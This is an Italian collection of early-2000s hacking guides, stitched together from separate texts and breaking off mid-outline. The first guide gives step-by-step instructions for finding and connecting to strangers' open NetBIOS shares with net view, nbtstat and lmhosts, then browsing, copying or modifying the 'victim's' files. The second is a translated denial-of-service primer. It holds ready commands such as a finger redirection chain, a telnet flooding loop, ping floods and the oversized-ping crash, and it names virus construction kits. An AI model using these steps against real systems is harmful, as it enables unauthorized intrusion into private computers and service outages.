net view \\xxx.xxx.xxx.xxx +INVIO.

Vi appariranno se ci sono, l'elenco delle risorse condivise. A volte può succedere che il pc da voi interpellato sia netbiossato, ma invece di trovare le risorse vi compare un bel messaggio di errore. In questo caso può significare che non ci sono risorse condivise oppure le risorse sono nascoste, cioè rese invisibili.

```
Prompt di MS-DOS
C:\WINDOWS>net view \\151.20.135.0
Risorse condivise su \\151.20.135.0

Condivisione  Tipo         Commento
-------------------------------------------
C             Disco
D             Disco
E             Disco
F             Disco
Esecuzione comando riuscita.

C:\WINDOWS>_
```

Nel caso siano invisibili di solito il messaggio di errore dice grosso modo che la risorsa fa parte di una unità condivisa ma che gli attributi che gli sono stati assegnati non ci consentono di utilizzarla.

L'unica cosa da fare è provare ad aggiungere al momento di impostare la connessione il simbolo $ dopo il nome della risorsa che presumiamo esista.

Io di solito provo sempre con C$. Se questo funziona, quasi sicuramente vi verrà richiesta una password. LASCIATE PERDERE. Se l'aggiunta del simbolo $ non funziona, LASCIATE PERDERE.

Comunque se abbiamo trovato quali sono le risorse segnatevi su un banale foglietto di carta o dove cavolo volete l' IP della vostra vittima.

A questo punto siamo pronti per penetrare nel computer specificato.
Apriamo a questo scopo, cliccando con il tasto destro su "Start" e poi "Esplora" con il sinistro.

Si aprirà cosi il "Menu di Avvio", che a noi però non interessa direttamente.
Apriamo dalla barra dei strumenti il menu "Strumenti" e selezioniamo la voce "Connetti unità di rete".

Ci appare la finestra che ci chiede quale unità di rete vogliamo connettere e quale lettera di unità gli vogliamo assegnare.

La lettera di unità è a discrezione, se vi va bene lasciate quella che vi mostra lui (che è la prima lettera di unità libera) oppure scegliete quella che più vi piace.

In “Percorso” scrivete il numero IP che vi siete segnati, e il nome della risorsa il tutto con la sintassi appropriata che è: \\<n° IP>\<nome della risorsa> come potete vedere meglio nell'immagine precedente.

Cliccate su “OK” ed attendete pazientemente qualche secondo, a questo punto il vostro sistema diventerà terribilmente lento e quindi dovete attendere senza la pretesa che tutto giri come un fulmine. Non cercate di forzare o anticipare nulla l'unico risultato sarà quello di incasinare Winzoz, e forse vi toccherà riavviare il pc.

Può succedere (e non è per niente raro, non tutti sono rincoglioniti), che vi venga chiesta anche in questo caso la password per accedere alla risorsa a cui vi state connettendo.
Ora o conoscete la password oppure fate qualche tentativo inserendo per esempio il nome Host del pc, se non funzionano l'unica è rinunciare, la porta è sbarrata.

OK!! Non vi è stata chiesta la password! CHE BELLO!!!
Siete connessi con il computer di un tizio che non conoscete e che non sa che voi siete li.

Che fare ora???????
Beh, la soddisfazione di essere li dovrebbe essere gia più che sufficiente.
A questo punto deve essere il vostro senso morale a darvi le dritte.

Sappiate comunque che la condivisione può essere di sola lettura, in questo caso non potete fare altro che esplorare le varie cartelle o file e se proprio vi interessano copiatevele semplicemente usando i normali comandi di Winzoz (Copia/incolla; con il tasto destro selezionate e fate “Invia a ….”; con il Drag and Drop. Fate voi!!!).

Se la condivisione è invece di Lettura/Scrittura il gioco può essere ancora più divertente, potete trasferire anche i vostri file all'interno della risorsa e delle cartelle che vi trovate dentro, oppure anche modificare i suoi.
Qui potete sbizzarrire la vostra fantasia, ma tenete sempre presente che i cattivi vanno all'inferno.

Una cosa importante: se lanciate un file trovato all'interno del pc del malcapitato (che sia un semplice testo o un programma tipo un .exe) questo andrà in esecuzione sul vostro computer. **Quindi fate attenzione a quello che combinate…..** (non mi stuferò mai di dirlo!).

Va bene!! Abbiamo giocato per un po' con il pc di uno sfigato che non sa che condividere le risorse è altamente rischioso quando ci si connette in internet e sopra tutto non sa che in giro ci sono balordi come noi.
Ora però dovete sconnettervi, che fate?? Spegnete il computer, vi sconnettete da internet?? NO!!

Andate ancora sul "Menu strumenti", selezionate "Disconnetti unità di rete".

Vi apparirà una finestra che non sto li a visualizzarvi, fate OK e dopo qualche istante siete sconnessi e pronti per entrare "in casa" di qualcun altro.

A volte quando ci si sconnette Win ci da un messaggio dove ci avverte che la sconnessione può causare una perdita di dati. Questo perché probabilmente c'è ancora qualche bit che viaggia tra voi e l'altro pc, cliccate ancora OK e non preoccupatevi, al massimo vi si pianterà Windows.

Altra piccola nota: esiste un "virus" che è in grado di far condividere tutte le risorse di un pc senza che l'utente si accorga di nulla (le risorse sono condivise ma non appare la famosa manina che le regge).
Inoltre se esisteva una password è in grado di scavalcara, in più la condivisione che crea è in lettura/scrittura.
Questo "virus" è stato partorito dalla mente di NEWFOLDER è non può essere individuato da nessun antivirus, in quanto ancora sconosciuto. La prima versione di esso era chiamata "SEXY", per invogliare i più maldestri a lanciare il programma, la versione attuale non ve la dico per ovvi motivi e comunque è facile rinominarlo.

Non so se da questa piccola guida avrete capito tutto, del resto nemmeno io ci sono ancora arrivato in fondo. Sappiate che in ogni caso conviene sempre stare attenti a quello che si combina in giro per la rete e sopra tutto ricordate che altri famosi e veri pirati sono stati beccati.
Di certo non siete voi e tanto meno io i più furbi.
Quindi quando muovete i passi sfruttando NETBIOS fatelo in punta di piedi, abbiate sempre un po' di paura, questo servirà a scoraggiarvi nel fare enormi cazzate.

E ricordate anche questo particolare: "un giorno dall'altra parte potreste esserci VOI!!"

FINE

26/06/2001 Merrick68

COME INTROMETTERSI IN SISTEMI 95 O NT via tcp/ip, SFRUTTANDO IL COMANDO NBTSTAT DI WINDOWS 95.

Affinchè tutto funzioni bisogna avere tra i nostri componenti della rete
il CLIENT PER RETI MICROSOFT e tra le impostazioni di quest'ultimo bisogna
abilitare la "CONNESSIONE RAPIDA".
Nella Connessione al provider dobbiamo anche attivare la casella di
"Accedi alla rete".

Innanzitutto occorre che i PC nei quali vogliamo entrare, abbiano il
NETBIOS attivo sul protocollo TCP/IP. Per sapere cio' basta andare in un
prompt di MS-Dos ed eseguire il comando NBTSTAT -A xxx.xxx.xxx.xxx (-A
maiuscolo; xxx.xxx.xxx.xxx = numero ip della macchina su cui verificare se
il NETBIOS è o meno attivo). (1)

Ora abbiamo due possibilità:
A) NETBIOS non è attivo sulla macchina remota e quindi non è possibile
entrarci :(
In questo caso l'output del comando NETSTAT -A xxx.xxx.xxx.xxx sarà: Host
not found.

B) NETBIOS è attivo e allora possiamo andare avanti. In questo caso
l'output sarà qualcosa del genere:

```
   Name            Type       Status
--------------------------------------------
SERVER        <00>  UNIQUE     Registered
MEDIA SPAZIO   <00>  GROUP      Registered
SERVER        <03>  UNIQUE     Registered
SERVER        <20>  UNIQUE     Registered
MEDIA SPAZIO   <1E>  GROUP      Registered
```

*potrebbero esserci anche altre voci...... ma questo non ci
interessa......

Se abbiamo trovato una macchina con il netbios attivo andiamo nella nostra
directory \windows (o se avete installato windows in un'altra
directory....in quella dove è installato) e cerchiamo il file Lmhosts. Se
non è presente lo creeremo con il notepad. Ricordatevi di togliere
l'eventuale estensione .txt quando lo salverete....

Attenzione: solitamente è presente un file chiamato Lmhosts.sam; è un
esempio di come si fà il file Lmhosts.....ma non ce ne fotte nulla :)))

Editiamo quindi il file Lmhosts in questo modo:

xxx.xxx.xxx.xxx <tab> Nome della macchina <tab> #PRE

Il nome della macchina è il primo che troviamo con il comando NETSTAT -A
xxx.xxx.xxx.xxx; nel caso portato ad esempio è SERVER

mettiamo che l'ip della macchina di cui sopra sia 194.210.123.11, scriveremo:

194.210.123.11 SERVER #PRE

usate la tabulazione per staccare le tre parti.

Salvate nella directory di windows e ricordatevi di togliere l'eventuale estensione .txt

Ora torniamo in Prompt di MSDos e scriviamo

NBTSTAT -R

dovremmo ricevere un messaggio di conferma
Successful purge and preload of the NBT Remote Cache Name Table.
altrimenti qualcosa non è andato bene.....probabilmente avete sbagliato qualcosa :)

Ora dobbiamo solo sperare che il PC abbia delle risorse condivise: Dischi.....Stampanti....

Per saperlo scriviamo: net view \\Nome della macchina
nel nostro esempio : net view \\SERVER

se condivide qualcosa avremo l'elenco delle risorse condivise...una cosa del genere:

```
Condivisione Tipo        Commento
-----------------------------------
COLORI            Stampa
DISCO SERVER       Disco
RICOH-LASER       Stampa
Esecuzione comando riuscita.
```

Se non condivide nulla possiamo anche cambiare obiettivo :(

La macchina in questione condivide due stampanti ed un disco.

Per condividere il disco andiamo in Risorse del Computer....e clicchiamo sulla barra degli strumenti (se non l'avete ancora attivata...che aspettate?!?!) sull'icona "Connetti unità di rete"; apparirà una finestra con UNITA' e PERCORSO.
Lasciamo l'unità a quella che è, e digitiamo nel percorso cio' che segue:

\\Nome della macchina\nome condivisione

quindi nel nostro caso

\\SERVER\DISCO SERVER (sempre rispettando maiuscole e minuscole)

di accedere a un computer
mettendo semplicemente l'ip numerico della persona in trova computer che
sta nel menu avvio (trova)

===================================
=INTRODUZIONE AI DENIAL OF SERVICE=
===================================

.H. COPYRIGHT

.I. DISCLAIMER

.0. PREFAZIONE

In questo documento ho cercato di rispondere alle seguenti domande:

- Cos'è un attacco denial of service?
- Perchè qualcuno dovrebbe mandare in crash un sistema?
- Come si manda in crash un sistema?
- Come proteggo un sistema da un attacco denial of service?

C'è anche una sezione chiamata LETTURE SUGGERITE dove puoi trovare
suggerimenti su informazioni gratuite che ti potrebbero fornire una
conoscenza più dettagliata su qualcosa.

Ricorda che ho un'esperienza limitata con Macintosh, OS/2 e Windows
e la maggior parte del materiale è quindi per Unix.

Puoi trovare sempre le versioni più aggiornate al seguente indirizzo:
http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT
[NdT logicamente i testi sono in inglese]

Per commenti, suggerimenti e altro a:
t95hhu@student.tdb.uu.se

.A. INTRODUZIONE
~~~~~~~~~~~~~~~~

.A.1. COS'è UN ATTACCO DENIAL OF SERVICE

Denial of service quando si mettono fuori uso i servizi, per
esempio attraverso il crash dell'intero sistema. Questi tipi
di attacchi sono semplici da eseguire ed è difficile proteggere
un sistema contro di essi. Il problema di base è che Unix
presume che gli utenti sul sistema o su altri sistemi sanno
come comportarsi.

.A.2. PERCHè QUALCUNO DOVREBBE MANDARE IN CRASH UN SISTEMA?

.A.2.1. INTRODUZIONE

Perchè qualcuno dovrebbe mandare in crash un sistema? Ci sono molti
motivi e ho presentato essi in maniera più specifica in una sezione
per ogni motivo, ma in sintesi:
~~~~~~~~~~~~~~~~

.1. Introduzione
.2. Stato sottoculturale
.3. Per guadagnare l'accesso
.4. Vendetta
.5. Ragioni politiche
.6. Ragioni economiche
.7. Cattiveria

Penso che il primo e il sesto sono i più comuni oggi, ma che il quarto
e il quinto saranno i più comuni in futuro.

.A.2.2. STATO SOTTOCULTURALE

Dopo tutte le informazioni sul syn flood molti di tali attacchi
erano eseguiti dalla Svezia. La stragrande maggioranza di questi
attacchi non erano una parte di un attacco IP-spoof, erano "solo"
un attacco denial of service. Perchè?

Penso che gli hackers attaccano i sistemi per una pseudo-carriera
sottoculturale e penso che molti attacchi denial of service, e quì
nell'esempio il syn flood, erano eseguiti per questo motivo. Penso
anche che molti hackers cominciano la loro carriera con attacchi
denial of service.

.A.2.3. PER GUADAGNARE L'ACCESSO

A volte un attacco denial of service potrebbe essere una parte di un
attacco per guadagnare l'accesso in un sistema. Al momento posso
pensare questo motivo e specificare i metodi:

.1. Qualche vecchia versione di x-lock potrebbe essere mandata
in crach con un metodo preso dalla famiglia dei denial of service
lasciando il sistema aperto. L'accesso fisico era necessario per
usare lo spazio di lavoro.

.2. Syn flood potrebbe essere una parte di un attacco IP-spoof.

.3. Alcuni programmi di sistema potrebbero avere buchi all'avvio,
che potrebbero essere usati per avere l'accesso root, per esempio
SSH (secure shell).

.4. Sotto un attacco potrebbe essere utile mandare in crash altre
macchine nella rete o negare ad alcune persone l'abilità di accedere
al sistema.

.5. Inoltre un sistema potrebbe essere avviato a volte in modo
sovvertito, specialmente nei rarp-boots. Se sappiamo quale porta
controlla il sistema (69 potrebbe essere un buon indizio) all'

avvio possiamo mandare falsi pacchetti e controllare quasi
totalmente l'avvio.

.A.2.4. VENDETTA

Un attacco denial of service potrebbe essere una parte di una vendetta
contro un utente o un amministratore.

.A.2.5. RAGIONI POLITICHE

Prima o poi vecchie e nuove organizzazioni capiranno il modo di
distruggere computer di sistemi e troveranno strumenti per farlo.

Per esempio immagina la Banca A che presta dei soldi alla Compagnia B
per costruire una fabbrica che minaccia l'ambiente.
L'organizzazione C quindi manda in crash il computer di sistema di A,
forse con l'aiuto di un impiegato. L'attacco potrebbe costare ad A una
grande quantità di denaro se il tempismo è giusto.

.A.2.6. RAGIONI ECONOMICHE

Immagina la piccola compagnia A che si muove in un mercato dominato
totalmente dalla compagnia B. I clienti di A e B fanno gli ordini dai
computers e dipendono pesantemente sull'orario che è stato effettuato (A
e B potrebbero essere compagnie di scambio). Se A e B non possono effettuare
l'ordine i clienti perdono tempo e cambiano compagnia.

Come parte di strategia di mercato A paga un esperto di computer per mandare
in crash i computers di B un numero di volte. Un anno dopo A è la compagnia
dominante.

.A.2.7. CATTIVERIA

Conosco una persona che trova una workstation dove l'utente si è dimenticato
di uscire. Questa persona si siede e scrive un programma che fa un kill -9 -1
a tempo indeterminato per almeno 30 minuti dopo il tempo di entrata e ha
piazzato una chiamata a un programma dal suo file di profilo. Questa è
cattiveria.

.A.3. ALCUNI SISTEMI OPERATIVI SONO PIù SICURI?

Questa è una domanda difficile a cui è difficile rispondere e non penso
che sarà data qualcosa per confrontare differenti piattaforme Unix.
Non puoi dire che un Unix è più sicuro di un altro contro i denial of
service, tutto dipende dall'amministratore.

Un confronto tra Windows 95 e NT da un lato e Unix e gli altri può
essere comunque interessante.

I sistemi Unix sono molto più complessi e hanno centinaia di programmi
integrati, servizi... Questo spesso apre molte vie per mandare in crash
il sistema dall'interno.

Nella normale rete Windows NT e 95 ci sono pochi modi per mandare in
crash il sistema. Comunque ci sono dei metodi che funzionano sempre.

Questo ci dice che non c'è una grande differenza tra Microsoft e Unix
per quanto riguarda gli attacchi dall'interno. Ma ci sono un paio di
punti:

- Unix ha molti più strumenti e programmi per scoprire un
attacco e controllare gli utenti. Per vedere cosa fa un
utente in windows è molto difficile.

- Gli amministratori medi di Unix probabilmente hanno molta
più esperienza degli amministratori medi di Microsoft.

Questi due punti ci dicono che Unix è più sicuro contro gli attacchi
denial of service dall'interno.

Un confronto tra Microsoft e Unix per quanto riguarda gli attacchi
dall'esterno è molto più difficile. Comunque vorrei dire che i sistemi
medi Microsoft su Internet è più sicuro contro gli attacchi dall'esterno,
perchè normalmente hanno molti meno servizi.

.B. ALCUNI OBIETTIVI DI BASE PER UN ATTACCO
~~~~~~

.B.1. SPAZIO SWAP

La maggior parte dei sistemi hanno molte centinaia di Mbytes
di spazio swap per le richieste di servizio dei clients. Lo
spazio swap è usato tipicamente per una paio di processi che
hanno breve vita. Lo spazio swap non sarà quasi mai molto
usato. Un denial of service potrebbe essere basato su un
metodo che cerca di riempire lo spazio swap.

.B.2. FREQUENZA

Se la frequenza è troppo alta la rete non sarà più utilizzabile. La
maggior parte degli attacchi denial of service influenzano la
frequenza in alcuni casi.

.B.3. TAVOLE DEL KERNEL

~~~~~~

E' banale traboccare le tavole del kernel che causeranno
seri problemi al sistema. I sistemi con cache vuota e piccoli
buffers buoti sono particolarmente sensibili.

L'allocazione di memoria del kernlel è anche un obietivo che è
sensibile. Il kernel ha un limite di kernelmap, se il sistema
supera questo limite non può essere più allocata memoria del
kernel e si deve riavviare la macchina. La memoria del kernel non
è usata solo per la RAM, CPU, schermi, e così via, è anche usata
per processi ordinari. Questo significa che ogni sistema può
essere mandato in crash e con un cattivo (o in alcuni casi buono)
algoritmo abbastanza veloce.

Per Solaris 2.X è misurato e riportato con il comando sar quanta
memoria del kernel sta usando il sistema, ma per SunOS 4.X non c'è
quel comando. Ciò significa che sotto SunOS 4.X non avrai un avviso.
Se usi Solaris devi scrivere sar -k 1 per avere le informazioni.
netstat -k può essere usato e mostra quanta memoria il kernel ha
allocata.

.B.4. RAM

Un attacco denial of service che alloca una grande quantità di RAM
può causare una grande quantità di problemi. I servers NFS e di posta
sono attualmente estremamente sensibili perchè non hanno bisogno di
molta RAM e spesso non hanno molta RAM. Un attacco a un server NFS è
banale. Il normale client NFS farà una grande quantità di caching,
ma un clent NFS può includere comunque il programma che hai scritto
tu...

.B.5. DISCHI

Un attacco classico è riempire l'hard disk, ma un attacco ai dischi
può fare molto di più. Per esempio un disco sovraccaricato può essere
manomesso in molti modi.

.B.6. CACHE

Un attacco denial of service che coinvolge la cache può essere basato
su un metodo per bloccare la cache o per annullarla.

Queste cache sono trovte su Solaris 2.X:

Directory name lookup cache: Associa il nome di un file con un vnode.

Inode cache: Deposita le informazioni lette da un disco se sono ancora
necessarie.

Rnode cache: Raccoglie informazioni sul filsystem NFS.

Buffer cache: Collega i blocchi e i cilindri con il disco I/O.

.B.7. INETD

Una volta che inetd è andato in crash tutti gli altri servizi che
sono eseguiti attraverso inetd non funzioneranno più.

.C. ATTACCARE DALL'ESTERNO
~~~~~~~~~~~~~~~~~~~~~~~~~~

.C.1. AVERE PROFITTO CON IL FINGER

La maggior parte delle installazioni del fingerd supportano i
reindirizzamenti agli altri gost.

Es:

    $finger @system.two.com@system.one.com

il finger nell'esempio andrà attraverso system.one.com a system.two.com.
Così system.two.com sa che è system.one.com che fa il finger. Così
questo metodo può essere usato per nascondersi, ma anche per
un attacco denial of service. Guarda quì:

    $ finger
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

Tutti quei segni @ faranno un finger a host.we.attack una, due, tre
... volte. L'effetto su host.we.attack è potente e il risultato è
grande frequenza, poca memoria libera e hard disk con poco spazio libero,
dovuto a tutti i processi figli (confronta con .D.5.).

La soluzione è installare un fingerd che non supporta i reindirizzamenti,
per esempio GNU finger. Puoi anche eliminare il servizio finger, ma penso
che è un po' troppo.

.C.2. UDP E SUNOS 4.1.3.

SunOS 4.1.3. si avvia se un pacchetto con un'informazione non corretta
nell'header è mandata ad esso. Questa è l causa se l'ip_options indica
una dimensione sbagliata del pacchetto.

La soluzione è di installare la patch appropriata.

.C.3. BLOCCARE UP X-WINDOWS
~~~~~~~~~~~~~~~~~~~~~~~~~~

Se un host accetta una sessione telnet alla porta di X-Windows
(generalmente una porta tra 6000 e 6025. Nella maggior parte dei casi
6000) potrebbe essere usata per bloccare il sistema X-Windows. Questo
può essere fatto con molte connessioni telnet alla porta o con un
programma che manda molti XOpenDisplay() alla porta.

La stessa cosa può accadere a Motif o Open Windows.

La soluzione è di negare le connessioni alla porta X-Windows.

.C.4. USO MALIZIOSO DEI SERVIZI UDP

E' semplice avere i servizi UDP (echo, time, daytime, chargen) da
far andare in loop, a causa di banali IP-spoofing. L'effetto può
essere alta frequenza che causa l'inutilità della rete. Nell'esmpio
l'header richiede che il pacchetto viene da 127.0.0.1 (loopback) e
l'obiettivo è la porta echo di system.we.attack. Siccome
system.we.attack conosce 127.0.0.1 il collegamento è stato stabilito.

Es:

from-IP=127.0.0.1
to-IP=system.we.attack
Packet type:UDP
from UDP port 7
to UDP port 7

Nota che il nome system.we.attack sembra un nome DNS, ma l'obiettivo
dovrebbe essere sempre rappresentato dall'IP.

Citazione dal commento di proberts@clark.net (Paul D. Robertson) su
comp.security.firewalls sul tema di "Introduzione ai denial of service"

" Una grande quantità di sistemi non mettono loopback sulla rete,
e semplicemente li emulano. Quindi, questo attacco avrà l'effetto
desiderato sulla macchina solo in alcuni casi. E' molto meglio
usare l'indirizzo di una differente macchina sulla stessa rete.
Ancora, i servizi standard dovrebbero essere disabilitati in
inetd.conf. Altri attacchi per stacks di IP che non supportano
ICMP, il servizio echo non è usato da molti programmi, e TCP
echo dovrebbe essere usato al posto di UDP dove è necessario ".

.C.5. ATTACCARE CON CLIENTS LYNX

Un server Worold Wide Web inforcherà un processo httpd come una
risposta a una richiesta da un client, spesso Netscape o Mosaic.
Il processo dura meno din un secondo e il caricamento non sarà

mai mostrato se qualcuno usa ps. Nella maggior parte dei casi è
comunque sicuro eseguire un attacco denial of service che usa molti
clients W3, di solito clients lynx. Ma nota che il comando netstat
potrebbe essere usato per rintracciare l'attacco (grazie a Paul D.
Robertson).

Alcuni httpd (per esempio http-gw) hanno problemi normalmente con la
frequenza alta, poca memoria... E l'attacco può in quei casi far andare in
loop il server. (confronta con .C.6.)

.C.6. USO MALIZIOSO DI telnet

Studia questo piccolo script:

```
while : ; do
telnet system.we.attack &
done
```

Un attacco che usa questo script potrebbe mangiare della frequenza,
ma non ha niente a che vedere con il metodo finger o altri metodi.
Il punto è che alcuni comuni firewall e httpd pensano che l'attacco
è un loop e lo annullano, fino a che l'amministratore non manda un
kill -HUP.

Questa è una semplice vulnerabilità ada alto rischio che dovrebbe
essere controllata e se presente riparata.

.C.7. USO MALIZIOSO DI telnet SU SOLARIS 2.4

Se l'attacco fa una connessione telnet all'host Solaris 2.4 e quit
si usa:

```
Control-}
quit
```

inetd lo terrà per sempre. Un paio di centinaia...

La soluzione è installare la patch appropriata.

.C.8. COME DISABILITARE GLI ACCOUNTS

Alcuni sistemi disabilitano un account dopo alcune login sbaglite, o
aspettano alcuni secondi. Tu puoi usare questa funzione per cacciare
gli utenti dal sistema.

.C.9. LINUX E TCP TIME, DAYTIME

Si sa che inetd sotto Linux va in crach se troppo pacchetti SYN sono
mandati a daytime (porta 13) e/o a time (porta 37).

La soluzione è installare la patch appropriata.

.C.10. COME DISABILITARE I SERVIZI

La maggior parte dei sistemi Unix disabilitano i servizi dopo un certo
numero di sessioni aperte in un certo periodo di tempo. La maggior parte
dei sistemi hanno uno standard ragionevole (diciamo 800-1000), ma non
alcuni sistemi SunOS che hanno lo standard a 48...

La soluzione è settare il numero in qualcosa di ragionevole.

.C.11. PARAGON OS BETA R1.4

Se qualcuno reindirizza un pacchett ICMP (Internet Control Message Protocol)
a un paragon OS beta R1.4 la macchina si bloccherà e deve essere riavviata.
Un reindirizzo di ICMP dice al sistema di sostituire le tavole di routing.
I router usano questo per dire all'host che sta mandando il pacchetto a un
router sbagliato.

La soluzione è installare la patch appropriata.

.C.12. FTP DI NOVELLS NETWARE

Il server FTP di Novells Netware è conosciuto poichè la memoria si riduce
se ci sono molte sessioni ftp connesse.

.C.13. ATTACCHI CON REINDIRIZZAMENTO DI ICMP

Le Gateways usano il reindirizzamento di ICMP per dire al sistema di cambiare
le tavole di routing, cioè sta dicendo al sistema di prendere una via migliore.
Per manomettere il reindirizzo degli ICMP dobbiamo conoscere una connessione
esistente (ne possiamo creare una per noi stessi, ma non c'è molto utilizzo
per quella). Se abbiamo trovato una connessione noi possiamo mandare un flusso
che gli fa perdere la connessione o potremmo mandare falsi messaggio all'host
se la connesione che abbiamo trovato non cripta i pacchetti.

Es: (messaggio falso da mandare)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

L'effetto di tale messaggio è il blocco della connessione.

La soluzione potrebbe essere disabilitare il reindirizzamento di ICMP, non
usato propriamente dal servizio.

.C.14. TEMPESTE DI BROADCAST

Questo è un metodo molto popolare nelle reti dove tutti gli host agiscono
come gateways.

Ci sono molte versioni dell'attacco, ma il metodo di base è mandare molti
pacchetti a tutti gli host nella rete con una destinazione che non esiste.
Ogni host cercherà di inoltrare ogni pacchetto così i pacchetti rimbalzeranno
per molto tempo. E se si aggiungono i nuovi pacchetti alla rete, la rete
sarà nei guai.

I servizi che possono essere manomessi e utilizzati in questo tipo di attacco
sono per esempio il ping, il finger e il sendmail. Ma possono essere manomessi
la maggior parte dei servizi in un modo o nell'altro.

.C.15. EMAIL BOMBING E SPAMMING

In un attacco email bombing l'attaccante manderà ripetutamente identici messaggi
email a un indirizzo. L'effetto sull'obiettivo è alta frequenza, un hard disk con poco
spazio e così via... L'email spamming è quando si mandano delle mail a tutti (o
quasi) gli utenti del sistema. Il motivo per il quale si usa lo spamming al posto
del bombing è che alcuni utenti cercano di mandare una risposta e se l'indirizzo
è falso, la mail tornerà indietro. In quel caso una mail si è trasformata in tre
mail. L'effetto sulla frequenza è ovvio.

Non c'è modo di prevenire un email bombing o spamming. Comunque dai un'occhiata
al documento della CERT "Email bomginb and spamming".

.C.16. TIME E KERBEROS

Se le macchine sorgente e obiettivo sono allineate da vicino il biglietto verrà
respinto, ciò significa che se il protocollo che setta il tempo è protetto sarà
possibile settare un server kerberos.

.C.17. IL BUG DOT DOT

Il sistema di condivisione file di Windows NT è vulnerabile al famoso bug dot dot
sotto Windows 95. Ciò significa che chiunque può mandare in crash il sistema. Se
qualcuno manda un "DIR ..\" alla workstation un messaggio di STOP apparirà sullo
schermo del computer Windows NT. Nota che è applicabile alle versioni 3.50 e 3.51
per le versioni sia workstation che server.

La soluzione è installare la patch appropriata.

.C.18. KERNEL PANIC DEL SUNOS

Alcuni sistemi SunOS (che eseguono TIS?) avranno un kernel panic se è mandato un getsockopt(). La connessione così sarà interrotta.

La soluzione potrebbe essere installare la Sun Patch 100804.

.C.19. APPLETS OSTILI

Una applet ostile è quando un applet cerca di usare il tuo sistema in un modo inappropriato. I problemi nel linguaggio java potrebbero essere ordinati in due grandi gruppi:

1) Problemi dovuti ai bugs.
2) Problemi dovuti a caratteristiche nel linguaggio.

Nel primo gruppo abbiamo per esempio il bug java bytecode verifier, che permette a un'applet di eseguire tutti i comandi che un utente potrebbe eseguire. Ciò significa che tutti i metodi di attacco descritti in .D.X. possono essere seguiti attraverso un'applet. Il bug java bytecode verifier fu scoperto a fine Marzo 1996 e non ci sono patch disponibili (correggetemi se sbaglio!).
[NdT siccome il documento è un po' vecchio, probabilmente ora esiste una patch per questo bug]

Nota che due altri bugs possono essere inseriti nel primo gruppo ma sono entrambi riparati in Netscape 2.01 e JDK 1.0.1.

Il gruppo due è più interessante e una grande problema è il fatto che java può connettersi alle porte. Ciò significa che tutti i metodi descritti in .C.X. possono essere eseguiti da un'applet. Maggiori informazioni ed esempio possono essere trovati all'indirizzo:

http://www.math.gatech.edu/~mladue/HostileArticle.html

Se hai bisogno di un maggior livello di sicurezza usa dei firewall che proteggono da java. Come utente, dovresti aver disabilitato java.

.C.20. VIRUS

I virus per il computer sono scritti allo scopo di distruggere e propagare i sistemi.
I virus sono ancora il metodo d'attacco denial of service più diffuso.

Non è vero che scrivere virus è difficile. Se conosci il linguaggio assembly e hai alcuni codici sorgente di virus è facile. Si possono scaricare degli strumenti per la costruzione di virus, per esempio:

* Genvir.

* VCS (Virus Construction Set).
* VCL (Virus Construction Laboratory).
* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
* IVP (Instant Virus Production Kit).
* G2 (G Squared).

PS-MPC e VCL sono i migliori e possono aiutare il programmatore novello a capire come scrivere un virus.

Si può trovare anche uno strumento chiamato MtE. MtE trasformerà un virus in un virus "mutevole". Il motore mutevole di MtE è noto e può essere rintracciato da un antivirus.

.C.21. ABUSO DI FTP ANONIMO

Se un archivio FTP anonimo ha un'area scrivibile può essere manomesso per un attacco denial of service simile a quello .D.3. Noi così possiamo riempire l'hard disk.

Un host inoltre può essere temporanemante inaccessibile a causa di eccessive richieste FTP.

Pe maggiori informazioni su come proteggere un FTP anonimo, il documento della CERT "Anonymous FTP Abuses" potrebbe essere un buon punto d'inizio.

.C.22. SYN FLOOD

Sia 2600 e Phrack hanno pubblicato informazioni sull'attacco syn flood. 2600 ha anche pubblicato un exploit per l'attacco.

Come sappiamo il pacchetto syn è usato in un handshake di 3 fasi. L'attacco syn flood è basato su un incompleto handshake. L'host che attacca manderà un flusso di pacchetti syn ma non risponerà con un pacchetto ACK. Lo stack TCP/IP aspetterà un certo periodo di tempo prima di interrompere la connessione, così un attacco syn flood manterrà quindi la connessione tcp_received in coda della macchina colpita.

L'attacco syn flood è molto buono ed è facile trovare maggiori informazioni su di esso, per esempio:

[.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
Articolo di Christopher Klaus che include una "soluzione".

[.2.] http://jya.com/floodd.txt
2600, Estate, 1996, pp. 6-11. FLOOD WARNING di Jason Fairlane

[.3.] http://www.fc.net/phrack/files/p48/p48-14.html
IP-spoofing Demystified by daemon9 / route / infinity
per Phrack Magazine

.C.23. PING FLOOD

Non testato quanto può essere grande un attacco ping flood, ma potrebbe essere abbastanza grande.

Sotto Unix possiamo trovare qualcosa come: ping -s host
per mandaer pacchetti di 64 bytes.

Se hai Windows 95, clicca sul pulsante Avvio, poi su Esegui e poi scrivi:
PING -T -L 256 xxx.xxx.xxx.xx. Eseguilo circa 15 volte contemporaneamente.

.C.24. MANDARE IN CRASH I SISTEMI CON IL PING DI WINDOWS 95

Se qualcuno può pingare la tua macchina da una macchina Windows 95 egli può resettare o bloccare la tua macchina. L'attaccante scrive semplicemente:

ping -l 65510 address.to.the.machine

E la macchina si bloccherà o si riavvierà.

Funziona con il kernel 2.0.7 fino alla versione 2.0.20 e 2.1.1 per Linux (crash).
AIX4, OSF, HPUX 10.1,DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (riavvio).

.C.25. USO MALIZIOSO DEL MESSAGGIO DI RISPOSTA DELLE SUBNET MASK

Il messaggio di riposta delle subnet mask è usato al riavvio, ma alcuni hosts
accettano il messaggio ogni volta senza controllare. In questo modo tutte le
comunicazioni a o dall'host sono interrotte.

L'host non dovrebbe accettare il messaggio sempre ma solo durante il riavvio.

.C.26. FLEXlm

Ogni host che esegue FLEXlm ha la FLEXlm license manager daemon su ogni rete
che per spegnere usano il comando FLEXlm lmdown.

lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

.C.27. PARTIRE CON FTP BANALI

Per partire con workstation senza disco si usa un ftp banale con rarp o bootp.
Se un attaccante non è protetto può usare tftp per avviare l'host.

.D. ATTACCARE DALL'INTERNO
~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC SOTTO SOLARIS 2.3

